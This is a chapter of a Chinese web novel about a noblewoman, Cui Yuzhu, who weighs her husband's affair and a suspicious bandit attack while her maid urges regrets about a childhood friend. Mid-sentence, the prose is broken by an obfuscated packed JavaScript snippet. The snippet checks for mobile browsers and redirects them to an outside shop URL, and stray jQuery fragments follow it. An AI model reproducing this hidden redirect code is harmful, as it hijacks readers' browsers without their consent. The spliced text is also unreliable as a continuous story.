默认冷灰
24号文字
方正启体

11. 第 11 章

作者:常穗本书字数:K更新时间:
    自崔玉珠做了丹霞院的女主人,便将院中各处的仆从都安插了自己从崔家带来的人手。


    这些人忠心耿耿、规矩严明,将院子打理得井井有条。


    她初入顾府时便打定了主意不争中馈之权。


    李氏把持着府中银钱账目,二房三房各管一摊,她乐得清净,丹霞院除了每月月俸,其余开支全用自己的嫁妆银子填补,她衣食住行还按照往常的规格,从不亏待。


    逢年过节给院中丫鬟小厮赏赐,她出手阔绰、样样周到,就连其余几房都受她不少恩惠,府里上下都说二少夫人待人厚道,也有人仗着这份厚道试探她的底线。


    去年有个婆子偷拿了她库房里的缎子,她查清来龙去脉后让人将那婆子捆了,连人带赃物送到李氏跟前,笑着说了一句“母亲院里的人,儿媳不敢擅自处置”,李氏当场臊得脸通红,从那以后再没人敢在丹霞院动歪心思。


    她宅心仁厚,可谁也别想踩在她头上作威作福。


    小厮阿福跪在地上,上下牙齿打着颤,结结巴巴地禀报说苏姑娘这几日每晚都进公子的书房,一待就是一两个时辰,有时还传出笑声,公子在夫人进宫这些天里,待苏姑娘比从前亲近了许多,连书房伺候的茶都换成了苏姑娘爱喝的桂花饮。


    崔玉珠听完先是攥紧了帕子,胸口像被人闷闷捶了一拳,可那团火刚烧到喉咙口就自己灭了。


    她想起顾晏楚带着苏鲤儿在宫宴上伤她的神情,忽然觉得为这种人动气实在不值得,于是松开帕子轻轻吐了口气,那点怒气便像滴进池塘的墨,散得干干净净。


    螺春见状端了盏热茶进来搁在小几上,又回身让长贵和其他侍女都退出去掩上门,这才从袖中取出纸笺。


    “夫人,您让奴婢查的事,有眉目了。”


    崔玉珠接过茶盏,螺春便将纸笺摊开在桌上:“姑爷遇险的那条路常年有山匪出没,可那些山匪向来只劫商队,从不碰朝廷命官,姑爷路过时带着官印和公文,那些山匪不该动手。奴婢托人问了当地的老百姓,都说那日的事蹊跷,像是有人专门安排了那一出。”


    崔玉珠搁下茶盏,螺春继续说了下去:“还有苏姑娘的事,奴婢从二公子身边的贴身小厮长贵那里打听到,姑爷与苏姑娘在回京途中并非单纯的救命之恩,路上两人便有了露水情缘,同吃同住多日。奴婢想着,顾府认她做义女,许是大夫人想出来的缓兵之计,一来堵住外头的闲话,二来给她一个名正言顺的身份留在府中,等时机合适再抬成妾室。”


    说到这里,螺春忽然皱起眉头,语气里添了几分犹疑:可长贵还说了一件事,奴婢觉得古怪得很。他说姑爷遇匪那日,苏姑娘就像是提前等在那里似的,山匪刚散她就从林子里出来了,身上干干净净,连泥点子都没有,一个孤身女子在山匪出没的地方待了一整夜竟毫发无伤。”


    “还有更怪的,长贵说他们那会儿沿途十几公里只遇见六七个人,结果几处驿站都住满了人,那会儿若非天黑、随行的人赶了一日一夜的路都困乏了,真不一定被那些山匪得手。”她说完这话自己先愣了一瞬,随即像是憋不住似的嘟囔了一句,“真奇怪。”


    螺春本想安慰她几句,结果看着坐在椅子上的人像个旁外人,听着讲一个故事般。


    “夫人,您不生气吗?”


    本是结发的夫君,心却系在旁人身上。


    崔玉珠嗤笑一声:“为他,不值得的。”


    初为人妇,哪个姑娘不期望与夫君举案齐眉,可多少婚事又由得自己。


    人前风光霁月又如何,人后凉薄寡情,才是他真正的模样。


    螺春将那几页纸笺收进袖中,偷眼看了看崔玉珠的脸色,见自家夫人既不恼也不悲,心里反倒更没底了。


    她憋了又憋,终于忍不住开口:“夫人,奴婢斗胆说句不该说的,当初您要是嫁了谢世子,哪用得着受今日这些窝囊气。世子待您多好,打小就护着您,你们青梅竹马的情谊在,若是嫁了他,他断不会让您受半分委屈,更不会弄个什么义女回来膈应您。”


    崔玉珠原本半阖着的眼睛睁开了,目光落在螺春脸上,带着几分懒洋洋的凉意:“又是这话。你和母亲说过,和阿姐说过,现在又来说给我听。怎么,全天下就你们长着眼睛,看得出谢长钰好?”


    螺春缩了缩脖子,嘴上却不肯服软:“可世子确实好嘛。满京城谁不说谢世子少年英雄,又是知根知底的旧相识,比姑爷……”


    “比顾晏楚强出一百倍?”崔玉珠接过她的话,“我当然知道,谢长钰十六岁赴北疆,十九岁代父出征,夜袭敌营斩首千余级,官居四品忠武将军,谢家手握二十万私兵,圣上都要给三分薄面。他待人温和,行事磊落,不猜忌、不粗暴,为人算得上踏实,是个顶好顶好的夫君人选。”


    她一口气说完这一长串,像是背书一般流利,然后停下来,看着螺春,目光里带着一种说不清的疲倦:“可这些跟我有什么关系?”


    螺春急了:“怎么没关系?当初若是您嫁了他——”


    “什么当初。”崔玉珠打断她,螺春立刻噤了声,“人人都跟我说当初,母亲说当初不该多留我两年,父亲说当初不该应下顾家的亲事,阿姐说当初要是早点把你和谢长钰的事定下来就好了。当初当初当初,仿佛我崔玉珠的婚事就是一颗被所有人拨来拨去的棋子,谁都有一番高见,谁都替我惋惜,谁都觉得我嫁错了人。”


    她的声音平稳毫无波澜,可螺春注意到她攥着帕子的手指收紧了,指节泛出淡淡的青白色。


    “可你们有没有想过,这门婚事从头到尾,有谁问过我一句,我自己想嫁谁?父亲还恩情的时候没问过,顾家来提亲的时候没问过,拜堂成亲的时候更没人问过。我穿着嫁衣盖上红盖头,被人扶着上了花轿,一路吹吹打打送进顾府,所有人都觉得这是天经地义的事。如今倒好,一个个跑来跟我说‘当初要是嫁了谢长钰就好了’——早干什么去了?”


    螺春被她说得哑口无言,低下头去,半晌才嘟囔了一句:“奴婢只是心疼夫人……”


    崔玉珠看着她那副委屈巴巴的样子,忽然笑了,紧皱的眉眼缓缓舒展开来,像是被风吹皱


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480306|201700||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的一池春水,带着几分无奈:“我知道你们心疼我。可你嘴里说着心疼,心里头想的是什么?是觉得我嫁给谢长钰就能过上好日子,就能被人捧在手心里宠着,就不用受今日这些气了。可你想过没有,谢长钰他凭什么要宠我?他对我好,那是看在两家母亲的情分上,是世交兄长对妹妹的照拂。你们把这些情分当成男女之情,可他本人可曾说过一句半句?”


    螺春忍不住抬起头:“可世子当年送过您金簪——”


    “及笄礼上送金簪是常礼,他送得,旁人送不得?”崔玉珠语气淡淡的,可螺春注意到她说话时目光移开了,落在窗棂上那盆文竹上,“再说了,即便有那心思,那金簪后来不是退回去了么。”


    螺春张了张嘴,想说那金簪是崔家退的,不是您退的,可看着崔玉珠微微侧过的脸和那轻轻抿住的唇角,到嘴边的话又咽了回去。


    她忽然发现,夫人说这些话的时候,和往常一般无二,好似那世子就是一个不相干的人,可耳根处那点淡淡的粉色又浮了上来,像是三月的桃花落在流水,藏都藏不住。


    崔玉珠似乎也察觉到了什么,伸手将鬓边的碎发拢到耳后,她清了清嗓子,语气恢复了方才的漫不经心。


    “行了,别在那儿瞎琢磨了,谢长钰再好,那也是谢家的世子,跟我崔玉珠没有关系。我现在是顾家的二少夫人,该想的是怎么在顾家站稳脚跟,不是在这儿做那些‘当初若是’的白日梦。”


    螺春应了一声,心里却嘀咕:您嘴上说着没关系,耳根红什么呀。


    崔玉珠像是看穿了她的心思,瞪了她一眼,带着薄薄的恼意,却因为脸颊上那层未褪尽的粉色显得半点威慑力都没有。


    “再在那儿站着发呆,今晚就去廊下守夜。”


    螺春应了一声,忍着笑往外走,走到门边又折回来,:“夫人,奴婢去给您拿些糕点来吧,您先垫垫肚子再歇息,不然这漫漫长夜可难熬了。”


    崔玉珠正要摆手拒绝,螺春已经噼里啪啦说开了:“您晚上都没用膳,那宫宴上的膳食都是摆着看的,冷冰冰的哪能真吃,饿着肚子睡觉更难受,何况您脚上还有伤,夜里要是饿了,奴婢又睡迷糊了没听见,您自己都不方便起身。”


    她努着嘴,带着几分心疼的埋怨,“姑爷不心疼您,奴婢可心疼着呢。”


    崔玉珠被她说得又恼又臊,偏生这丫头每句话都占着理,她竟找不出一句反驳的话来。


    她瞪了螺春一眼,恼意薄得像一层纸,一戳就破:“去去去,拿你的糕点去,再啰嗦今晚就别进来了。”


    螺春笑着福了福身,一溜烟出了门。


    廊下的夜风裹着玉兰花的香气扑面而来,她裹紧外衫快步往后厨方向走,心里盘算着夫人爱吃的几样点心哪些还热乎。


    转过回廊拐角时,她没留神脚下,与迎面而来的人撞了个满怀。


    “大少夫人,这么晚了您——”


    话没说完,沈如意的身子忽然晃了晃,脸色白得像浸了水的宣纸,手里的锦匣从臂弯滑落,整个人便软绵绵地朝前栽倒下去。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)